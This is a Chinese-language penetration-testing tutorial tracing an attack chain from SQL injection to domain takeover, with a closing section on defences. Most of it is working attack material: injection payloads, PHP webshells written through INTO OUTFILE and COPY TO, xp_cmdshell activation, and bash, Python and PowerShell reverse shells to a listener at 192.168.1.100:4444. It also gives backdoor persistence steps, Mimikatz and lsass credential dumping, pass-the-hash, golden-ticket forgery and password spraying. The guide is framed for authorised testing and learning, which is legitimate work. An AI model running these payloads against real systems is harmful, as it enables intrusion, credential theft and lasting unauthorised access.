从SQL注入到内网渗透:实战攻击链深度解析与防御思考

从SQL注入到内网渗透:实战攻击链深度解析与防御思考

1. 项目概述:一次从Web漏洞到内网深处的旅程

拿到这个标题,很多刚入门的朋友可能会觉得“从SQL注入渗透内网”是个很遥远、很复杂的过程。其实,它恰恰是实战中最经典、也最能体现渗透测试核心思路的一条路径。我干了这么多年,越来越觉得,渗透的本质,真的就是信息搜集。这听起来像句废话,但只有当你真正走完从外网一个不起眼的输入框,到最终控制整个内网域控的完整链路后,才会对这句话有切肤的理解。这次,我就以一个虚构但高度贴近实战的场景为例,拆解这条链路,把每个环节“为什么这么做”以及“可能遇到什么坑”讲清楚。这不是某个特定靶场的攻略,而是融合了多个实战场景(比如大家常练的DVWA、Pikachu,以及一些综合渗透靶机)的通用性思路提炼,目标是让你掌握一套可迁移的方法论,而不仅仅是复现步骤。

简单来说,这个过程可以概括为“四步走”:首先,通过Web应用的SQL注入漏洞,拿到数据库的访问权限,这通常是我们进入内网的“敲门砖”;其次,利用数据库的特性或数据库服务器本身的配置问题,尝试从数据库层面“跳”到操作系统层面,获取一个初始的立足点(即Shell);然后,以这个立足点为跳板,开始对内网环境进行探测和信息搜集,摸清网络结构、存活主机、开放服务;最后,基于搜集到的信息,进行横向移动和权限提升,最终达成控制关键资产(如域控制器)的目标。整个过程,信息像滚雪球一样越滚越大,每一步的决策都依赖于上一步的发现。下面,我们就来一步步拆解。

2. 核心思路与攻击链全景解析

2.1 为什么SQL注入常常是内网渗透的起点?

在真实的网络边界防御中,直接暴露在公网上的往往是Web服务器、邮件服务器、VPN网关等对外提供服务的节点。其中,Web应用由于业务逻辑复杂、开发迭代快,很容易出现各种漏洞,SQL注入就是其中“历史悠久”但依然高危的一种。它之所以能成为内网渗透的优质起点,原因有三:

第一,直接通往数据核心。成功的SQL注入意味着攻击者可以直接与后台数据库交互。数据库里有什么?不仅仅是业务数据(用户账号、订单信息),往往还有Web应用自身的配置信息,比如数据库连接字符串、后台管理员的密码哈希、甚至其他系统的访问凭证。这些信息是后续渗透的“弹药库”。

第二,可能具备高权限。Web应用连接数据库使用的账户,为了满足业务查询需求,权限往往不低,至少对当前应用的数据库有完整的读写权限。在一些配置不当的场景下,这个数据库账户甚至可能拥有执行系统命令、读写文件等高级权限(例如MySQL的FILE权限,MSSQL的xp_cmdshell存储过程)。

第三,位置关键。存在SQL注入的Web服务器,本身就在目标网络的DMZ区或直接在内网边缘。一旦通过它获取了操作系统权限,这台服务器就成了一个绝佳的“桥头堡”,可以以此为据点扫描和攻击原本从外网无法直接访问的内网其他主机。

所以,我们的攻击链可以清晰地描绘为:Web应用SQL注入 → 获取数据库权限 → 尝试数据库提权/命令执行 → 获取Web服务器操作系统Shell → 内网信息搜集 → 横向移动与权限提升。这条链路上的每一个环节,都充满了与防御方的博弈。

2.2 渗透测试中的“信息搜集”哲学

标题里说“渗透的本质就是信息搜集”,我深以为然。这不是指开局用whoisnmap扫一遍那种狭义的信息搜集,而是贯穿始终的一种思维模式。在整个攻击链中,我们其实只在做两件事:1. 获取信息;2. 利用信息获取更多信息或权限。

  • 在注入阶段,我们搜集数据库版本、当前用户、数据库名、表结构、表中的数据(尤其是密码哈希、配置文件内容)。
  • 在获取Shell后,我们搜集操作系统版本、补丁情况、安装的软件、网络接口信息、ARP表、路由表、当前用户权限、计划任务、其他用户会话等。
  • 在内网横向阶段,我们搜集内网IP段、存活主机、开放端口、服务版本、域环境信息(是否有域、域控IP、域用户列表)、共享资源、密码复用情况等。

每一个新获取的信息片段,都可能成为打开下一扇门的钥匙。比如,从数据库里找到了一个Tomcat管理员的弱口令,可能就能拿下另一台应用服务器;从Web服务器的配置文件中发现了内网数据库的IP和密码,可能就直接拿到了一个更核心的数据仓库。因此,整个渗透过程是一个动态的、基于反馈的循环,而非线性的脚本执行。

3. 第一阶段:突破边界——SQL注入的深度利用

3.1 手工注入与自动化工具的结合使用

很多教程一上来就教sqlmap,这没错,效率高。但要想真正理解漏洞原理和灵活利用,手工注入的能力必不可少。以最常见的字符型注入为例,假设存在一个登录框,用户名为注入点。

手工探测与信息提取:

  1. 判断注入类型:输入admin' and '1'='1admin' and '1'='2,观察返回差异。这是基础,目的是确认漏洞存在及闭合方式。
  2. 判断字段数:使用order by子句,admin' order by 5--,逐步增加数字直到报错,从而确定union select时需要拼接的列数。
  3. 联合查询获取信息:确定字段数后(假设为3),可以构造:admin' union select version(), user(), database()--。这里一次性获取了数据库版本、当前用户、当前数据库名,这些都是关键信息。
  4. 提取表名和列名:接下来就是查询information_schema。例如:admin' union select table_name, null, null from information_schema.tables where table_schema=database()--,获取当前数据库的所有表名。找到疑似存放凭据的表(如users,admin)后,再查询其列名:admin' union select column_name, null, null from information_schema.columns where table_name='users'--
  5. 拖取数据:最后,直接查询敏感列:admin' union select username, password, null from users--

注意:手工注入时,务必注意数据回显的位置。你的union select的字段需要与原始查询的字段类型、数量匹配,并且通过改变union前的查询条件(如admin' and 1=2 union...)让原始查询结果为空,从而确保回显的是我们注入的数据。

自动化工具sqlmap的精准利用:手工注入明确了注入点和类型后,sqlmap可以帮我们更快、更全面地挖掘数据。但切忌无脑跑默认参数。

# 基础探测,确认注入点 sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --level=2 --risk=2 # 获取当前数据库用户和权限,这对判断能否进行文件操作或命令执行至关重要 sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --current-user --privileges # 如果用户有FILE权限,尝试读取服务器文件(如Web配置文件) sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --file-read="/etc/passwd" # 列出所有数据库,然后指定数据库拖取数据 sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --dbs sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" -D target_db --tables sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" -D target_db -T users --dump

实操心得:在实际项目中,我通常会“手自一体”。先用简单的手工测试快速确认漏洞的存在和基本类型,然后用sqlmap--batch模式进行初步的信息收集(数据库、表)。当遇到sqlmap跑不出来或者被WAF拦截时,再回到手工,分析请求和响应,尝试构造绕过Payload。两者结合,效率与深度兼备。

3.2 从数据库到操作系统:关键的一跃

拿到数据库权限不是终点,我们的目标是操作系统的Shell。这一步能否成功,高度依赖于数据库类型、配置和权限。

1. MySQL场景:利用INTO OUTFILE写WebShell这是最经典的路径,前提是当前数据库用户拥有FILE权限,并且知道Web目录的绝对路径。

-- 假设Web目录为 /var/www/html, 尝试写入一个一句话木马 SELECT '<?php @eval($_POST[\"cmd\"]);?>' INTO OUTFILE '/var/www/html/shell.php'

执行成功后,就可以通过访问http://target.com/shell.php,使用蚁剑、冰蝎等工具连接,获取Web Shell。

踩坑记录:这里最大的坑就是路径。路径猜解不准,写不进去。可以通过报错信息、读取配置文件(如/etc/apache2/sites-available/000-default.conf)、或者利用数据库本身的功能(如MySQL的@@datadir)来推测。另外,还要注意目标系统是否有secure_file_priv限制,如果该变量不为空,则只能向指定目录写文件。

2. Microsoft SQL Server场景:启用与利用xp_cmdshell如果数据库是MSSQL且当前用户是sa或具有sysadmin角色,那么xp_cmdshell存储过程就是通往系统命令的捷径。

-- 首先,如果xp_cmdshell被禁用,需要启用它(需要足够权限) EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- 然后执行系统命令,例如尝试反弹一个Shell EXEC xp_cmdshell 'powershell -c \"$client = New-Object System.Net.Sockets.TCPClient(\"\"<你的IP>\"\",<你的端口>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"';

如果防火墙出站规则允许,这条命令会从MSSQL服务器向我们指定的监听端口反弹一个PowerShell Shell。

3. PostgreSQL场景:利用大对象(LO)或COPY TO写文件PostgreSQL的权限模型相对严格,但仍有方法。高权限用户可以利用COPY TOpg_largeobject来写文件。

-- 方法1:COPY TO (需要超级用户权限,且对目标路径有写权限) COPY (SELECT '<?php phpinfo();?>') TO '/var/www/html/test.php'; -- 方法2:利用大对象和lo_export (需要超级用户权限) SELECT lo_create(12345); INSERT INTO pg_largeobject (loid, pageno, data) VALUES (12345, 0, decode('3c3f70687020706870696e666f28293b203f3e', 'hex')); SELECT lo_export(12345, '/var/www/html/shell.php'); SELECT lo_unlink(12345);

核心思路总结:这一步的目标非常明确——在目标服务器上创建一个能让我们远程执行代码的文件(WebShell)或直接执行系统命令。成功的关键在于权限路径信息。所有操作都围绕着我们前期从数据库里搜集到的信息展开。

4. 第二阶段:站稳脚跟——初始立足点的加固与信息搜集

4.1 获取稳定Shell与权限维持

通过WebShell拿到的初始访问往往是不稳定、低权限的。我们首先要做的是“升级”这个Shell。

1. 反弹一个更稳定的ShellWebShell(如一句话木马)通常通过HTTP协议通信,功能有限且容易被Web应用防火墙(WAF)或日志审计发现。我们应该尽快反弹一个到我们控制端的、功能完整的Shell(如bashpowershell)。

  • 在Linux上:使用bashpythonperlnc(netcat)等都可以反弹。
    # 假设我们在192.168.1.100的4444端口监听 (nc -lvnp 4444) bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' # 或者用python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • 在Windows上:使用PowerShell是最强大的。
    powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

2. 权限提升(提权)拿到Shell后,第一时间检查当前用户权限(Linux下whoamiid,Windows下whoami /groups)。如果是普通用户,就需要提权。

  • Linux提权思路
    • 内核漏洞:使用uname -a查看内核版本,搜索对应的公开Exp(如DirtyCow、CVE-2021-4034等)。使用linux-exploit-suggester这类脚本可以辅助识别。
    • SUID/GUID文件:查找设置了SUID位的文件find / -perm -u=s -type f 2>/dev/null,看看是否有findvimbashnmap等可以滥用。
    • sudo权限:检查sudo -l,看当前用户能以root身份无需密码运行哪些命令。
    • 计划任务/服务:检查crontab -lsystemctl list-unit-files --type=service,看是否有权限修改的任务或服务。
  • Windows提权思路
    • 系统信息systeminfo查看系统版本、补丁,用wesng等工具快速识别缺失的补丁和对应的漏洞。
    • 服务权限:使用accesschk.exePowerUp.ps1脚本检查是否有服务配置不当(如可修改的二进制文件路径、弱权限的服务目录)。
    • AlwaysInstallElevated:检查注册表项,如果启用,任何MSI文件都以SYSTEM权限安装。
    • 令牌模拟:在域环境下,检查是否有机会进行令牌窃取(如使用incognitoRotten Potato系列漏洞)。

3. 权限维持(后门)为了防止管理员修改密码或重启服务导致我们失联,需要种植后门。

  • Linux:添加SSH密钥到/root/.ssh/authorized_keys/home/<user>/.ssh/authorized_keys;创建具有SUID位的后门二进制文件;修改/etc/passwd添加一个UID为0的用户;或者创建计划任务(cron job)。
  • Windows:创建隐藏用户并加入管理员组;注册表添加启动项;创建计划任务;部署Meterpreter的持久化Payload;或者使用WMI事件订阅。

重要提示:在授权测试中,权限维持的方式和位置需要与客户明确约定。在非授权环境中,此行为违法。

4.2 以立足点为中心的内网信息搜集

拿到一个稳定的、最好是高权限的Shell后,我们正式从“外部攻击者”转变为“内部威胁”。此时的信息搜集是系统性的。

1. 网络环境侦察

  • 查看本机网络配置
    # Linux ifconfig / ip addr route -n # 查看路由表 cat /etc/resolv.conf # 查看DNS服务器,DNS服务器很可能是域控 arp -a # 查看ARP缓存,发现同一网段的其他主机 netstat -antup # 查看网络连接和监听端口
    # Windows ipconfig /all route print arp -a netstat -ano
  • 探测内网网段:根据本机IP(如192.168.10.5)和子网掩码(如255.255.255.0),可以推断出本网段是192.168.10.0/24。但内网可能有多个网段。可以查看路由表,或者尝试扫描常见的B类内网段(172.16.0.0/1210.0.0.0/8)。

2. 主机信息搜集

  • 系统与用户信息
    # Linux uname -a # 内核信息 cat /etc/*-release # 发行版信息 cat /etc/passwd # 用户列表 cat /etc/shadow # 密码哈希(需要root) history # 命令历史,可能包含密码、路径等
    # Windows systeminfo net user # 本地用户 net localgroup administrators net user /domain # 域用户(如果加入域) net group "domain admins" /domain # 域管理员组
  • 进程与服务信息:查看有哪些服务在运行,特别是安全软件、运维管理工具等。
  • 文件与目录扫描:寻找配置文件(.conf,.ini,.xml)、日志文件、备份文件、数据库文件、源代码、包含密码的脚本等。重点关注Web目录、用户家目录、/tmpC:\Users\等位置。

3. 域环境判断与信息搜集(如果存在)如果ipconfig /all显示有DNS后缀,或者net user /domain命令成功执行,说明主机加入了域。

  • 获取域基本信息
    net view /domain # 查看域列表 net view /domain:域名 # 查看域内机器列表(可能不全) nltest /dclist:域名 # 获取域控制器列表
  • 使用PowerShell进行更深入的域信息搜集(需要相应权限):
    # 导入PowerView模块 Import-Module .\PowerView.ps1 # 获取域内所有计算机 Get-NetComputer # 获取域内所有用户 Get-NetUser # 获取域内所有组 Get-NetGroup # 获取域策略 Get-DomainPolicy

信息搜集清单:建议将以上命令的输出结果系统性地保存下来,整理成表格,例如:

信息类别命令/方法获取结果示例潜在利用价值
本机IP/网段ipconfig / ifconfig192.168.10.5/24确定扫描范围
路由信息route print / route -n10.10.0.0/16 via 192.168.10.1发现其他网段
DNS服务器/etc/resolv.conf/ipconfig /all192.168.10.2可能是域控IP
ARP缓存arp -a192.168.10.1, 192.168.10.100发现活跃主机
当前用户/权限whoami / idroot/域\域管理员决定下一步动作
域成员信息net user /domain成功列出域用户确认域环境,开始域渗透

5. 第三阶段:横向移动——在内网中扩大战果

5.1 存活主机与端口扫描

有了初步的网络拓扑信息后,下一步就是发现内网中其他存活的主机及其开放的服务。由于我们已经在内网,可以绕过边界防火墙的严格限制。

1. 使用内置工具进行轻量扫描

  • ICMP Ping扫描:快速发现存活主机。但很多内网主机可能禁Ping。
    # Linux for i in {1..254}; do ping -c 1 -W 1 192.168.10.$i | grep "bytes from" & done # Windows PowerShell 1..254 | % {Test-Connection -Count 1 -Delay 1 192.168.10.$_ -ErrorAction SilentlyContinue}
  • ARP扫描:在二层网络中更准确、更隐蔽。
    # 需要安装nmap或arp-scan arp-scan --localnet # 或者用nmap nmap -sn -PR 192.168.10.0/24
  • 端口扫描:针对发现的IP或整个网段进行端口扫描,发现开放服务。
    # 快速扫描常见1000个端口 nmap -sS -T4 192.168.10.0/24 --open # 全端口扫描(慢,但全面) nmap -sS -T4 -p- 192.168.10.100 # 服务版本探测 nmap -sS -sV -T4 192.168.10.100

2. 利用已控主机作为扫描代理如果目标内网有多个网段,而我们控制的“跳板机”恰好有多个网卡或者路由可达,我们可以用它作为扫描的起点。可以将扫描工具(如nmap的静态编译版)上传到跳板机执行,或者使用SOCKS代理将我们的攻击机流量代理进内网。

实操心得:内网扫描要讲究节奏和隐蔽性。不要一上来就全端口疯狂扫描,容易被IDS/IPS发现。可以先进行小范围的ICMP或ARP扫描,再对存活IP进行低频度的常见端口扫描。同时,注意扫描流量是否会被同一网段的其他安全设备(如HIDS)记录。

5.2 服务漏洞利用与密码攻击

扫描结果会列出大量开放端口,如445(SMB)、3389(RDP)、22(SSH)、1433(MSSQL)、3306(MySQL)、5985/5986(WinRM)等。我们需要对这些服务进行针对性测试。

1. 针对常见服务的漏洞利用

  • SMB (445端口):检查是否存在永恒之蓝(MS17-010)漏洞,使用msfconsoleexploit/windows/smb/ms17_010_eternalblue模块。或者检查是否启用了SMB签名(在域环境中常被禁用),为后续的中间人攻击做准备。
  • RDP (3389端口):检查是否有已知的RDP漏洞(如CVE-2019-0708 蓝屏漏洞)。更常见的是尝试暴力破解或密码喷洒攻击。如果拿到了一个用户的密码,尝试RDP登录,图形化界面操作更方便。
  • WinRM (5985/5986端口):如果启用且配置了基本认证,可以尝试使用crackmapexecevil-winrm进行密码攻击或连接。
  • 数据库服务:尝试用之前从Web应用数据库里找到的密码,去连接内网的其他数据库(密码复用很常见)。对于MSSQL,再次尝试xp_cmdshell

2. 密码攻击:爆破与喷洒内网渗透中,密码往往是突破口。攻击方式主要有两种:

  • 密码爆破:针对单个用户,用庞大的密码字典进行尝试。风险高,易触发账户锁定策略。
  • 密码喷洒:针对多个用户,使用少数几个常用密码(如CompanyName@2023,Welcome123,Season@Year)进行尝试。风险相对较低,不易触发锁定。

工具推荐:

  • CrackMapExec:内网渗透神器,支持SMB、WinRM、MSSQL、SSH等多种协议的密码喷洒和凭证传递攻击。
    # SMB密码喷洒 crackmapexec smb 192.168.10.0/24 -u userlist.txt -p 'Spring2024!' --continue-on-success # 使用已获取的哈希进行传递哈希攻击 crackmapexec smb 192.168.10.0/24 -u administrator -H <NTLM哈希> --local-auth
  • Medusa/Hydra:老牌的多协议爆破工具。
  • Kerbrute:专门针对Kerberos预认证的域用户密码喷洒工具,效率高。

3. 凭证窃取与转储如果我们已经获取了一台Windows主机的管理员权限,可以尝试从内存中转储密码哈希或明文密码。

  • Mimikatz:最著名的工具。需要管理员或SYSTEM权限。
    privilege::debug # 提升权限 sekurlsa::logonpasswords # 从内存中提取密码和哈希 lsadump::sam # 从SAM数据库中提取本地账户哈希 lsadump::dcsync /domain:目标域 /user:域管理员 # 从域控同步指定用户凭据(需要域管理员权限)
  • Procdump + Mimikatz离线分析:如果直接运行Mimikatz被AV拦截,可以用微软官方工具Procdump将lsass.exe进程的内存转储下来,下载到本地用Mimikatz分析。
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
  • 其他工具LaZagne可以获取多种软件保存的密码。

5.3 横向移动的经典模式:传递哈希与票据传递

在Windows域环境中,尤其是旧版本或配置不严格的环境中,两种攻击方式非常有效:

1. 传递哈希NTLM认证过程中,服务器验证的是用户密码的哈希值,而非密码本身。因此,如果我们获取了某个用户的NTLM哈希(例如通过Mimikatz),即使不知道明文密码,也可以使用这个哈希向其他服务进行身份验证。

  • 适用场景:SMB、WinRM、RDP(受限,需要开启“受限管理模式”)、MSSQL等协议。
  • 工具使用
    # 使用CrackMapExec进行SMB的Pass-the-Hash crackmapexec smb 192.168.10.20 -u administrator -H <NTLM哈希> --local-auth # 使用pth-winexe获取一个交互式Shell pth-winexe -U administrator%<LM哈希>:<NTLM哈希> //192.168.10.20 cmd.exe

2. 票据传递Kerberos是Windows域默认的认证协议。用户登录后,域控会颁发一个TGT票据。如果我们能获取到其他用户的TGT票据(通常是高权限用户),就可以冒充该用户访问域内任何服务。

  • 黄金票据:需要获取krbtgt用户的NTLM哈希(存储在域控上)。拥有此哈希,可以伪造任意用户的TGT,从而访问域内任何资源,权限极高。
  • 白银票据:需要获取目标服务账户(如CIFS$HTTP$)的NTLM哈希。可以伪造针对特定服务的ST,但范围有限。
  • 工具使用:Mimikatz同样可以完成票据的导出、注入和伪造。
    # 导出当前内存中的所有票据 sekurlsa::tickets /export # 注入一个窃取来的票据文件 kerberos::ptt [0;123456]-2-0-40e10000-Administrator@krbtgt-DOMAIN.LOCAL.kirbi # 伪造黄金票据 kerberos::golden /user:任意用户名 /domain:域名 /sid:域SID /krbtgt:krbtgt的NTLM哈希 /ptt

关键点:横向移动的成功率,极大依赖于前期信息搜集的完整度。你知道的密码/哈希越多,发现的用户越多,摸清的服务越多,横向移动的路径和可能性就越多。这再次印证了“渗透的本质就是信息搜集”。

6. 第四阶段:常见问题、排查技巧与防御思考

6.1 实战中遇到的典型问题与解决思路

问题1:SQL注入点存在,但sqlmap跑不出来,手工测试有回显但复杂语句就报错或空白。

  • 可能原因:存在WAF(Web应用防火墙)或简单的过滤规则。
  • 排查与绕过
    1. 观察拦截特征:用sqlmap--tamper参数尝试常用绕过脚本,如space2comment,between,charencode等。
    2. 手工FUZZ:测试哪些关键词被过滤(union,select,from,where,空格,引号等)。尝试使用大小写混合、双写关键字(UNunionION)、内联注释(/*!SELECT*/)、换行符(%0a)等方式绕过。
    3. 更改请求方式:GET注入不行,试试POST。参数在URL里不行,试试在Cookie或User-Agent头里。
    4. 使用非常规语句:如果union select被拦,尝试基于时间的盲注或报错注入。sqlmap可以指定--technique=BEUST(布尔盲注、报错、联合、时间盲注)来尝试所有技术。

问题2:成功写入WebShell,但无法访问或访问后代码不执行。

  • 可能原因
    1. 路径错误,文件没有写到Web目录下。
    2. 文件权限不足,Web服务器用户(如www-data,apache)无法读取或执行。
    3. 目标服务器禁用了特定函数(如eval,assert),或者配置了open_basedir限制。
    4. 文件内容被WAF或服务器安全模块过滤/篡改。
  • 排查
    1. 尝试写入一个简单的文本文件(SELECT 'test' INTO OUTFILE '/path/test.txt')确认路径和权限。
    2. 通过数据库的load_file函数(如果有权限)读取刚写入的文件,检查内容是否完整。
    3. 尝试写入不同的WebShell变种,如使用<?php system($_GET['c']);?><?php echo shell_exec($_GET['cmd']);?>
    4. 检查Web服务器的错误日志(如/var/log/apache2/error.log),寻找访问失败的线索。

问题3:内网扫描没有发现任何存活主机或端口。

  • 可能原因
    1. 主机位于不同VLAN或网段,当前跳板机没有路由。
    2. 内网主机普遍禁Ping。
    3. 存在主机防火墙或网络ACL阻止了扫描流量。
  • 排查
    1. 仔细分析跳板机的路由表(route -n/route print),确认是否有到其他网段的路由。
    2. 使用ARP扫描(arp-scan,nmap -PR)替代ICMP扫描,因为ARP是二层协议,只要在同一广播域就有效。
    3. 尝试扫描少数几个关键端口(如445, 3389, 22, 135),并使用更慢的扫描速度(nmap -T2)。
    4. 检查跳板机本身的防火墙规则,是否出站被限制。

问题4:获取的密码哈希无法破解,也无法用于传递哈希攻击。

  • 可能原因
    1. 密码强度很高,字典破解不了。
    2. 目标系统配置了“受限管理模式”或“强制签名”,阻止了传递哈希攻击。
    3. 获取的是LM哈希(已弃用且强度低)或NTLMv1哈希,而目标系统要求NTLMv2。
  • 应对
    1. 尝试使用更强大的规则(如hashcat-r规则文件)对哈希进行破解。
    2. 如果获取的是NTLM哈希但无法PTH,尝试使用sekurlsa::pth生成一个带有此哈希的新登录会话,然后在这个新会话里访问网络资源。
    3. 关注其他攻击面,如Kerberos票据、保存的浏览器密码、配置文件中的明文密码等。

6.2 从攻击者视角看防御要点

经历了完整的攻击链,反过来看防御,思路会更清晰。防御必须层层设防,因为攻击者只要突破一层就能带来威胁。

  1. Web应用层

    • 根本解决:使用参数化查询(预编译语句)或ORM框架,杜绝SQL注入产生的可能性。
    • 纵深防御:对用户输入进行严格的过滤和校验。部署WAF,即使存在漏洞也能增加利用难度。
    • 最小权限:Web应用连接数据库的账户,权限必须最小化,禁止授予FILEEXECUTE等系统级权限。
  2. 操作系统与数据库层

    • 及时更新:为操作系统、数据库、Web服务器等所有软件及时安装安全补丁。
    • 权限分离:数据库服务、Web服务不应以rootSYSTEM等高权限账户运行。
    • 强化配置:禁用数据库的危险函数和存储过程(如xp_cmdshell),设置严格的secure_file_priv。对Web目录设置正确的读写权限。
  3. 内网安全

    • 网络分段:将不同的业务系统划分到不同的VLAN或子网,并配置严格的访问控制列表,遵循最小权限原则。数据库服务器、域控制器等核心资产不应能从Web服务器直接访问。
    • 主机防护:在所有终端和服务器上部署EDR或HIDS,监控异常进程、网络连接和文件操作。
    • 身份与访问管理
      • 强制使用强密码策略,并定期更换。
      • 启用账户锁定策略,防止暴力破解。
      • 在域环境中,启用Kerberos AES加密,禁用NTLMv1,启用SMB签名,配置“受限管理模式”防止传递哈希。
      • 严格管理本地管理员和域管理员权限,遵循最小权限原则。
    • 监控与审计:集中收集和分析系统日志、安全设备日志、网络流量日志。对异常登录(如非工作时间、陌生地点)、横向移动行为(如SMB、WMI的异常连接)、特权账户的使用进行实时告警。

整个从SQL注入到内网渗透的过程,就像一场信息拼图游戏。每一个漏洞、每一段信息都是拼图的一块。作为防御方,你的目标就是让攻击者拿不到关键的那几块拼图,或者即使拿到一两块,也无法拼出完整的路径。而作为学习者和实践者,理解这完整的链条,能让你在发现一个漏洞时,看得更远,想得更深,真正把握住渗透测试中“信息搜集”这一贯穿始终的灵魂。